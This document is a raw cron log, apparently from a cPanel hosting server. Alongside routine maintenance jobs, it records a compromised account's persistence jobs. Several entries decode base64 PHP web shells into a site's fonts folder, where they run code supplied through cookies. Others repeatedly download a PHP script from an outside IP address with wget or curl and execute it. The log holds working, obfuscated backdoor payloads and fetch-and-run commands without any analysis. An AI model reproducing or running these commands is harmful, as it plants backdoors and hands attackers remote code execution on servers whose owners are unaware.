Sep  3 07:59:01 ip-184-168-122-23 CROND[31649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:59:01 ip-184-168-122-23 CROND[31648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:59:01 ip-184-168-122-23 CROND[31650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:00:02 ip-184-168-122-23 CROND[31787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:00:02 ip-184-168-122-23 CROND[31790]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  3 08:00:02 ip-184-168-122-23 CROND[31792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:00:02 ip-184-168-122-23 CROND[31793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:00:02 ip-184-168-122-23 CROND[31794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:00:02 ip-184-168-122-23 CROND[31795]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 08:00:02 ip-184-168-122-23 CROND[31799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:00:02 ip-184-168-122-23 CROND[31797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:00:02 ip-184-168-122-23 CROND[31798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:00:02 ip-184-168-122-23 CROND[31791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:01:01 ip-184-168-122-23 CROND[31941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:01:01 ip-184-168-122-23 CROND[31943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:01:01 ip-184-168-122-23 CROND[31945]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 08:01:01 ip-184-168-122-23 CROND[31946]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 08:01:01 ip-184-168-122-23 CROND[31948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:01:01 ip-184-168-122-23 CROND[31951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31946]: starting 0anacron
Sep  3 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31964]: finished 0anacron
Sep  3 08:02:01 ip-184-168-122-23 CROND[32118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:02:01 ip-184-168-122-23 CROND[32120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:02:01 ip-184-168-122-23 CROND[32121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:02:01 ip-184-168-122-23 CROND[32122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:02:01 ip-184-168-122-23 CROND[32123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:03:01 ip-184-168-122-23 CROND[32217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:03:01 ip-184-168-122-23 CROND[32219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:03:01 ip-184-168-122-23 CROND[32221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:03:01 ip-184-168-122-23 CROND[32223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:04:01 ip-184-168-122-23 CROND[32304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:04:01 ip-184-168-122-23 CROND[32306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:04:01 ip-184-168-122-23 CROND[32307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:04:01 ip-184-168-122-23 CROND[32309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:04:01 ip-184-168-122-23 CROND[32308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:05:01 ip-184-168-122-23 CROND[32403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:05:01 ip-184-168-122-23 CROND[32404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:05:01 ip-184-168-122-23 CROND[32409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:05:01 ip-184-168-122-23 CROND[32410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:05:01 ip-184-168-122-23 CROND[32411]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 08:05:01 ip-184-168-122-23 CROND[32412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:05:01 ip-184-168-122-23 CROND[32413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:06:01 ip-184-168-122-23 CROND[32541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:06:01 ip-184-168-122-23 CROND[32543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:06:01 ip-184-168-122-23 CROND[32546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:06:01 ip-184-168-122-23 CROND[32544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:06:01 ip-184-168-122-23 CROND[32545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:07:01 ip-184-168-122-23 CROND[32668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:07:01 ip-184-168-122-23 CROND[32667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:07:01 ip-184-168-122-23 CROND[32669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:07:01 ip-184-168-122-23 CROND[32670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:08:01 ip-184-168-122-23 CROND[366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:08:01 ip-184-168-122-23 CROND[368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:08:01 ip-184-168-122-23 CROND[369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:08:01 ip-184-168-122-23 CROND[372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:08:01 ip-184-168-122-23 CROND[371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:09:01 ip-184-168-122-23 CROND[469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:09:01 ip-184-168-122-23 CROND[471]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 08:09:01 ip-184-168-122-23 CROND[473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:09:01 ip-184-168-122-23 CROND[472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:09:01 ip-184-168-122-23 CROND[474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:10:01 ip-184-168-122-23 CROND[586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:10:01 ip-184-168-122-23 CROND[589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:10:01 ip-184-168-122-23 CROND[588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:10:01 ip-184-168-122-23 CROND[590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:10:01 ip-184-168-122-23 CROND[598]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:10:01 ip-184-168-122-23 CROND[599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:10:01 ip-184-168-122-23 CROND[600]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:10:01 ip-184-168-122-23 CROND[597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
